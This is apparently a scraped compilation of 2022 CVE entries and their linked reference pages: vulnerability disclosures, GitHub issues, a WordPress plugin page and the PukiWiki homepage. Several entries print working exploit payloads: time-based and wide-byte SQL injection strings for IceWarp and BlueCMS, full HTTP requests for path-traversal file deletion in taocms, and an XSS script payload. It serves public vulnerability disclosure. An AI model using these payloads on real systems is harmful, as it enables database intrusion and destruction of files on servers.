Stored cross-site scripting vulnerability in Exment ((PHP8) exceedone/exment v5.0.2 and earlier and exceedone/laravel-admin v3.0.0 and earlier, (PHP7) exceedone/exment v4.4.2 and earlier and exceedone/laravel-admin v2.2.2 and earlier) allows a remote authenticated attacker to inject an arbitrary script.

CVE-2022-38089: Document

IceWarp WebClient DC2 - Update 2 Build 9 (13.0.2.9) was discovered to contain a SQL injection vulnerability via the search parameter at /webmail/server/webmail.php.

\[+\] Title: IceWarp WebClient \[+\] Author: veyselxan \[+\] Vendor Homepage:https://www.icewarp.com/ \[+\] Tested on: Windows 10 \[+\] Versions: 13.0.2.9 \[+\] Fix version: DC2 - Update 2 Build 10 (13.0.2.10) \[+\] Vulnerability Type: SQL injection \[+\] Vulnerable Parameter: "search" \[+\] Vulnerable File: webmail/server/webmail.php \[+\] Cve:CVE-2022-35115 \[+\] Video POC: https://youtu.be/E04ZuqISASQ \[+\] Exploit: INJECTION\_CODE\_POC') AND (SELECT 9056 FROM (SELECT(SLEEP(5)))Ouc0) AND ('bvsb'=bvsb \[+\] Payload: 240 IceWarp WebClient DC2 - Update 2 Build 9 (13.0.2.9) was discovered to contain a SQL injection vulnerability via the search parameter at /webmail/server/webmail.php.

CVE-2022-35115

Bluecms 1.6 has SQL injection in line 132 of admin/area.php

**Bluecms\_v1.6****Download**

http://lp.downcode.com/j\_14/j\_14745\_bluecms.rar

**vulnerability code:**

in admin/area.php line 36:  
  
Line 36 of admin/area.php is not heavily filtered, and insert at line 47 allows injection  
Single quotes cannot be injected because the argument passed in is get\_magic\_quotes\_gpc()  
However, we found the use code GB2312 in the returned response header  
  
  
So we can do wide-byte injection here  
payload: area\_name=0%df',0,0,0,0),(0,@@Version,0,0,0,0)%23&parentid=0&show\_order=0&act=doadd  
  
  
Successful injection！

CVE-2022-37113: Bluecms V1.6 has SQL injection in line 132 of admin/area.php · Issue #3 · seizer-zyx/Vulnerability

BlueCMS 1.6 has SQL injection in line 55 of admin/model.php

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2022-37112: Bluecms V1.6 has SQL injection in line 55 of admin/model.php · Issue #2 · seizer-zyx/Vulnerability

BlueCMS 1.6 has SQL injection in line 132 of admin/article.php

**Bluecms\_v1.6****Download**

http://lp.downcode.com/j\_14/j\_14745\_bluecms.rar

**vulnerability code:**

in admin/article.php line132:  
  
There is numeric injection for $\_GET\['id'\]  
Because there is no echo, you can blind SQL injection with sleep()  
payload: id=1%20or%20if(1=1,sleep(1),0)  
  
payload: id=1%20or%20if(1=2,sleep(1),0)  
  
sleep () is executed based on the server response speed  
Use exp to get the database version number

CVE-2022-37111: Bluecms V1.6 has SQL injection in line 132 of admin/article.php · Issue #1 · seizer-zyx/Vulnerability

Authenticated (editor+) Stored Cross-Site Scripting (XSS) vulnerability in Roman Pronskiy's Search Exclude plugin <= 1.2.6 at WordPress.

*   Details
*   Reviews
*   Installation
*   Support
*   Development

With this plugin you can exclude any page, post or whatever from the WordPress search results by checking off the corresponding checkbox on post/page edit page.  
Supports quick and bulk edit.

On the plugin settings page you can also see the list of all the items that are hidden from search.

1.  Upload search-exclude directory to the /wp-content/plugins/ directory
2.  Activate the plugin through the ‘Plugins’ menu in WordPress
3.  Go to any post/page edit page and check off the checkbox Exclude from Search Results if you don’t want the post/page to be shown in the search results

**Does this plugin affect SEO?**

No, it does not affect crawling and indexing by search engines.  
The ONLY thing it does is hiding selected post/pages from your site search page. Not altering SEO indexing.

If you want posts/pages to be hidden from search engines you may add the following snippet to your functions.php:

    function add_meta_for_search_excluded()
    {
        global $post;
        if (false !== array_search($post->ID, get_option('sep_exclude', array()))) {
            echo '<meta name="robots" content="noindex,nofollow" />', "\n";
        }
    }
    add_action('wp_head', 'add_meta_for_search_excluded');
    

Note: already indexed pages will remain indexed for quite a while. In order to remove them from Google index, you may use Google Search Console (or similar tool for other engines).

**Are there any hooks or actions available to customize plugin behaviour?**

Yes.  
There is an action searchexclude_hide_from_search.  
You can pass any post/page/custom\_post ids as an array in the first parameter.  
The second parameter specifies state of visibility in search. Pass true if you want to hide posts/pages,  
or false – if you want show them in the search results.

Example:  
Let’s say you want “Exclude from Search Results” checkbox to be checked off by default  
for newly created posts, but not pages. In this case you can add following code  
to your theme’s function.php:

    add_filter('default_content', 'excludeNewPostByDefault', 10, 2);
    function excludeNewPostByDefault($content, $post)
    {
        if ('post' === $post->post_type) {
            do_action('searchexclude_hide_from_search', array($post->ID), true);
        }
    }
    

Also there is a filter searchexclude_filter_search.  
With this filter you can turn on/off search filtering dynamically.  
Parameters:  
$exclude – current search filtering state (specifies whether to filter search or not)  
$query – current WP\_Query object

By returning true or false you can turn search filtering respectively.

Example:  
Let’s say you need to disable search filtering if searching by specific post\_type.  
In this case you could add following code to you functions.php:

    add_filter('searchexclude_filter_search', 'filterForProducts', 10, 2);
    function filterForProducts($exclude, $query)
    {
        return $exclude && 'product' !== $query->get('post_type');
    }
    

works well for me. I think this is one of those very useful plugins which makes something an expert can do quite easily accessible to novices for free ! Thank you

Super Brilliant Plugin. Helps a lot with SEO + prevents making a mess on the web. Hope you are doing ok. My heart goes out to all suffering in Ukraine. @-/---

I spent an hour trying to hide woocommerce products from my search, added a bunch of code to functions. This baby worked in 30 seconds. Wonderful, thanks!

Simple, light, useful and free. Amazing plugin!

Does the job very well, love the bulk option

Thanks so much for coming up with this. Working in quick edit mode makes it a super star!

Read all 68 reviews

“Search Exclude” is open source software. The following people have contributed to this plugin.

Contributors

**1.2.7**

*   This is a security release. All users are encouraged to upgrade.
*   Fix possible XSS vulnerability.

**1.2.6**

*   Fix compatibility with WordPress 5.5

**1.2.5**

*   Security release. More protection added.

**1.2.4**

*   Security release. All users are encouraged to update.
*   Added filter searchexclude\_filter\_permissions.

**1.2.2**

*   Added action searchexclude\_hide\_from\_search
*   Added filter searchexclude\_filter\_search
*   Fixed Bulk actions for Firefox

**1.2.1**

*   Fixed bug when unable to save post on PHP <5.5 because of boolval() usage

**1.2.0**

*   Added quick and bulk edit support
*   Tested up to WP 4.1

**1.1.0**

*   Tested up to WP 4.0
*   Do not show Plugin on some service pages in Admin
*   Fixed conflict with bbPress
*   Fixed deprecation warning when DEBUG is on

**1.0.6**

*   Fixed search filtering for AJAX requests

**1.0.5**

*   Not excluding items from search results on admin interface

**1.0.4**

*   Fixed links on settings page with list of excluded items
*   Tested up to WP 3.9

**1.0.3**

*   Added support for excluding attachments from search results
*   Tested up to WP 3.8

**1.0.2**

*   Fixed: Conflict with Yoast WordPress SEO plugin

**1.0.1**

*   Fixed: PHP 5.2 compatibility

**1.0**

*   Initial release

CVE-2022-36282: Search Exclude

Multiple Authenticated (contributor+) Persistent Cross-Site Scripting (XSS) vulnerabilities in W3 Eden Download Manager plugin <= 3.2.48 at WordPress.

CVE-2022-34658: Download Manager

An arbitrary file deletion vulnerability was discovered in taocms 3.0.2, that allows attacker to delete file in server when request url admin.php?action=file&ctrl=del&path=/../../../test.txt

Permalink

**taocms arbitrary file deletion vulnerability****attack condition: Requires login management**

1.  open taocms/include/Model/File.php, found delete file code. The requested url is admin.php?action=file&ctrl=del&path=, receive parameter path.

2.  When taocms is installed, the install.lock file will be generated in the data directory

3.  At this point, when I visit install.php, it reminds me that it is already installed

4.  As requested below, I want to delete the install.lock file

    GET /admin/admin.php?action=file&ctrl=del&path=/data/install.lock HTTP/1.1
    Host: 127.0.0.1:9999
    User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Referer: http://127.0.0.1:9999/admin/admin.php?action=file&ctrl=lists
    Cookie: PHPSESSID=tnbrlgg1g539t0mjovqs1vrgio
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: frame
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    

5.  Surprisingly it can be removed successfully

6.  I visit install.php again, glad, taocms allows reinstallation

7.  Also, create a new test.txt file in your own user directory

8.  When I execute delete payload，test.txt is deleted

    GET /admin/admin.php?action=file&ctrl=del&path=/../../../test.txt HTTP/1.1
    Host: 127.0.0.1:9999
    User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Referer: http://127.0.0.1:9999/admin/admin.php?action=file&ctrl=lists
    Cookie: PHPSESSID=tnbrlgg1g539t0mjovqs1vrgio
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: frame
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1

CVE-2022-36261: cms-pentest/taocms-arbitrary-file-deletion-vulnerability.md at main · chasingboy/cms-pentest

A vulnerability classified as problematic has been found in ConsoleTVs Noxen. Affected is an unknown function of the file /Noxen-master/users.php. The manipulation of the argument create_user_username with the input "><script>alert(/xss/)</script> leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-207000.

main

Switch branches/tags

**1** branch **0** tags

Code

*   Clone
    
    Use Git or checkout with SVN using the web URL.
    
*   Open with GitHub Desktop
*   Download ZIP

**Latest commit**

whiex Delete README.md

8a4ee36

Aug 22, 2022

Delete README.md

8a4ee36

**Git stats**

*   **3** commits

**Files**

Permalink

Failed to load latest commit information.

Type

Name

Latest commit message

Commit time

Noxen.docx

Add files via upload

Aug 22, 2022

**About**

No description, website, or topics provided.

**Stars**

**0** stars

**Watchers**

**1** watching

**Forks**

**0** forks

**Releases**

No releases published

**Packages**

No packages published

CVE-2022-2956: GitHub - whiex/Noxen

Stored cross-site scripting vulnerability in PukiWiki versions 1.3.1 to 1.5.3 allows a remote attacker to inject an arbitrary script via unspecified vectors.

ようこそPukiWikiの公式サイトへ！！

最新バージョンは PukiWiki 1.5.4 です (PHP8.1対応)

*   ダウンロード: PukiWiki/Download/1.5.4

PukiWikiに関して、何か質問のある方は 質問箱 へ

**管理者の方へ†**

*   OSやPHPのバージョンアップでPukiWikiが動作しなくなった場合
    *   →FAQ/45 をご参照ください

1.  最新のリリースアナウンス、セキュリティアップデートなどの情報を受け取るためにPukiWiki-announce メーリングリストを購読して下さい
2.  PukiWiki開発サイトでは、次期バージョンの開発だけでなく、現行バージョンの1.5系の修正、セキュリティfixが行なわれています。開発日記で日々の作業の内容が掲載されていますので、PukiWikiを運用されている方は目を通すようお願いします。
3.  公表すべきではない\*1欠陥を発見された場合、可能な範囲で問題点を明確にし、既知の話題でない事を確認したうえでコミッター全員にメールにてお問い合わせ下さい。

**PukiWiki News†**

*   PukiWiki 1.5.4 リリース -- (2022-03-30)
*   PukiWiki 1.5.3 リリース -- (2020-03-30)
*   PukiWiki 1.5.2 リリース -- (2019-03-01)
*   PukiWiki 1.5.1 リリース -- (2016-03-07)
*   Team名の変更 -- (2016-03-07)
*   PukiWiki 1.5.0 リリース -- (2014-07-19)

**PukiWiki 1.5.4 リリース -- (2022-03-30)†**

PHP8.1対応の PukiWiki 最新版 PukiWiki 1.5.4 をリリースしました。

*   詳しくは: PukiWiki/Download/1.5.4
*   ダウンロード: https://ja.osdn.net/projects/pukiwiki/releases/77082

**PukiWiki 1.5.3 リリース -- (2020-03-30)†**

スマートフォン対応の PukiWiki 最新版 PukiWiki 1.5.3 をリリースしました。

*   詳しくは: PukiWiki/Download/1.5.3
*   ダウンロード: https://ja.osdn.net/projects/pukiwiki/releases/72656

**PukiWiki 1.5.2 リリース -- (2019-03-01)†**

PHP7.3対応の PukiWiki 最新版 PukiWiki 1.5.2 をリリースしました。

*   詳しくは: PukiWiki/Download/1.5.2
*   ダウンロード: https://ja.osdn.net/projects/pukiwiki/releases/69652

**PukiWiki 1.5.1 リリース -- (2016-03-07)†**

PHP7対応の PukiWiki 最新版 PukiWiki 1.5.1 をリリースしました。

*   詳しくは: PukiWiki/Download/1.5.1
*   ダウンロード: https://osdn.jp/projects/pukiwiki/releases/64807

**Team名の変更 -- (2016-03-07)†**

PukiWiki開発Team名を PukiWiki Development Team としました。旧 "PukiWiki Developer Team" からの改称になります。

*   詳しくは: Team

**PukiWiki 1.5.0 リリース -- (2014-07-19)†**

PHP5.5対応の PukiWiki 最新版 PukiWiki 1.5.0 をリリースしました。

*   詳しくは: PukiWiki/Download/1.5.0
*   ダウンロード: http://sourceforge.jp/projects/pukiwiki/files/

Tag

#php